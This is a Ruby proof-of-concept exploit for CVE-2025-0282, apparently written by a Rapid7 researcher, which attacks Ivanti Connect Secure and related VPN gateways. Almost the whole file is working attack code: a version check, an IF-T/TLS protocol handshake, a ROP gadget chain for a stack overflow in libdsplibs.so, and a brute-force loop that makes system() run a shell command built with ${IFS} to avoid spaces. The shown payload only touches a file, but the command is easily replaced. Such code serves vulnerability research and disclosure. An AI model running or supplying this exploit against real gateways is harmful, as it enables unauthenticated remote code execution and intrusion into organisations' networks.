# PoC for CVE-2025-0282, a remote unauthenticated stack based buffer overflow affecting
# Ivanti Connect Secure, Ivanti Policy Secure, and Ivanti Neurons for ZTA gateways.
#
# Based upon the exploitation strategy published by watchTowr (https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282).
#
# Usage: ruby CVE-2025-0282.rb -t 192.168.86.111 -p 443
#
# Stephen Fewer (Rapid7) - January 16, 2025.
require 'base64'
require 'socket'
require 'openssl'
require 'httparty'
require 'optparse'
HTTParty::Basement.default_options.update(verify: false)
def log(txt)
$stdout.puts txt
end
def rand_string(len)
(0...len).map {'a'.ord + rand(26)}.pack('C*')
end
def send_http_data(s, data, verbose=false)
s.write(data)
result = ''
content_length = 0
while line = s.gets
p line if verbose
m = line.match(/Content-length: (\d+)\r\n/)
if m
content_length = m[1].to_i
end
result << line
if line == "\r\n" && content_length
break if content_length <= 0
content = s.read(content_length)
p content if verbose
result << content
break
end
end
return result
end
# https://github.com/BishopFox/CVE-2025-0282-check/blob/main/scan-cve-2025-0282.py#L6
def get_productversion(ip,port)
res = HTTParty.get("https://#{ip}:#{port}/dana-na/auth/url_admin/welcome.cgi?type=inter")
return nil unless res&.code == 200
m = res.body.match(/name="productversion"\s+value="(\d+.\d+.\d+.\d+)"/i)
return nil unless m&.length == 2
m[1]
end
def hax(ip, port)
log "[+] Targeting #{ip}:#{port}"
productversion = get_productversion(ip, port)
if productversion.nil?
log "[-] Could not get product version for #{ip}:#{port}"
return
end
log "[+] Detected version #{productversion}"
# Note: All gadgets are from /home/lib/libdsplibs.so
targets= {
# 22.7r2.4 b3597 (libdsplibs.so sha1: f31a3cc442df5178b37ea539ff418fec9bf3404f)
'22.7.2.3597' => {
padding_to_vftable: 2288,
vftable_gadget_offset: 0x00934365 + 2,
padding_to_next_frame: 2934,
offset_to_got_plt: 0x00157c000,
gadget_inc_ebx_ret: 0x01338373,
gadget_mov_eax_esp_retn_c: 0x00ca2e84,
gadget_add_eax_8_ret: 0x007a040c,
gadget_mov_esp_eax_call_system: 0x004f0df3,
}
}
target = targets[productversion]
throw "No target for #{productversion}" unless target
log "[#{Time.now}] Starting..."
attempt = 0
0.upto(2048) do
s = TCPSocket.open(ip, port)
if port == 443
ctx = OpenSSL::SSL::SSLContext.new
ctx.set_params(verify_mode: OpenSSL::SSL::VERIFY_NONE)
s = OpenSSL::SSL::SSLSocket.new(s, ctx).tap do |socket|
socket.sync_close = true
socket.connect
end
end
body = "GET / HTTP/1.1\r\n"
body << "Host: #{ip}:#{port}\r\n"
body << "User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12-188-gaebfabb3-dirty\r\n"
body << "Content-Type: EAP\r\n"
body << "Upgrade: IF-T/TLS 1.0\r\n"
body << "Content-Length: 0\r\n"
body << "\r\n"
res1 = send_http_data(s, body)
unless res1.include? '101 Switching Protocols'
throw "bad response1"
end
data = [0, 1, 2, 2].pack('C*') # min version 1, max version 2, preferred version 2.
body = [
0x00005597, # VENDOR_TCG
0x00000001, # IFT_VERSION_REQUEST
data.length + 16,
0 # seq id
].pack('NNNN') + data
s.write(body)
attempt += 1
libdsplibs_base = 0xf6492000
buffer = ('C' * target[:padding_to_vftable])
buffer += [libdsplibs_base + target[:vftable_gadget_offset]].pack('V') # ptr to address + 0x48, to ptr, to gadget
buffer += ('A' * target[:padding_to_next_frame])
buffer += [libdsplibs_base + target[:offset_to_got_plt] - 1].pack('V') # ebx == got.plt - 1
buffer += [0xCAFEBEEF].pack('V') # esi
buffer += [0xCAFEBEEF].pack('V') # edi
buffer += [0xCAFEBEEF].pack('V') # ebp
buffer += [libdsplibs_base + target[:gadget_inc_ebx_ret]].pack('V') # inc ebx; ret;
buffer += [libdsplibs_base + target[:gadget_mov_eax_esp_retn_c]].pack('V') # mov eax, esp; ret 0xc;
buffer += [libdsplibs_base + target[:gadget_add_eax_8_ret]].pack('V') # add eax, 8; ret;
buffer += [0xCAFEBEEF].pack('V')
buffer += [0xCAFEBEEF].pack('V')
buffer += [0xCAFEBEEF].pack('V')
buffer += [libdsplibs_base + target[:gadget_add_eax_8_ret]].pack('V') # add eax, 8; ret;
buffer += [libdsplibs_base + target[:gadget_add_eax_8_ret]].pack('V') # add eax, 8; ret;
buffer += [libdsplibs_base + target[:gadget_add_eax_8_ret]].pack('V') # add eax, 8; ret;
buffer += [libdsplibs_base + target[:gadget_add_eax_8_ret]].pack('V') # add eax, 8; ret;
buffer += [libdsplibs_base + target[:gadget_mov_esp_eax_call_system]].pack('V') # mov [esp], eax; call system;
buffer += [0xCAFEBEEF].pack('V')
buffer += "touch /var/tmp/haxor_#{attempt}; #".gsub(' ', '${IFS}')
["\x00"].each do |bad_char|
throw "buffer cannot have bad char #{bad_char.chr}" if buffer.include? bad_char
end
data = "clientHostName=abcdefgh clientIp=127.0.0.1 clientCapabilities=#{buffer}\n\x00"
body = [
0x00000a4c, # VENDOR_JUNIPER
0x00000088, # ?
data.length + 16,
1 # seq id
].pack('NNNN') + data
log "[#{Time.now}] Triggering ##{attempt}..."
s.write(body)
rescue Errno::ECONNREFUSED, Errno::ECONNRESET, Errno::ECONNABORTED
sleep(1)
next
end
end
target_ip = nil
target_port = 443
OptionParser.new do |opts|
opts.banner = "Usage: CVE-2025-0282.rb [options]"
opts.on("-t", "--taget=TARGET", "target IP") do |v|
target_ip = v
end
opts.on("-p", "--port=PORT", "target port") do |v|
target_port = v.to_i
end
end.parse!
throw "set target IP via -t argument" unless target_ip
hax(target_ip, target_port)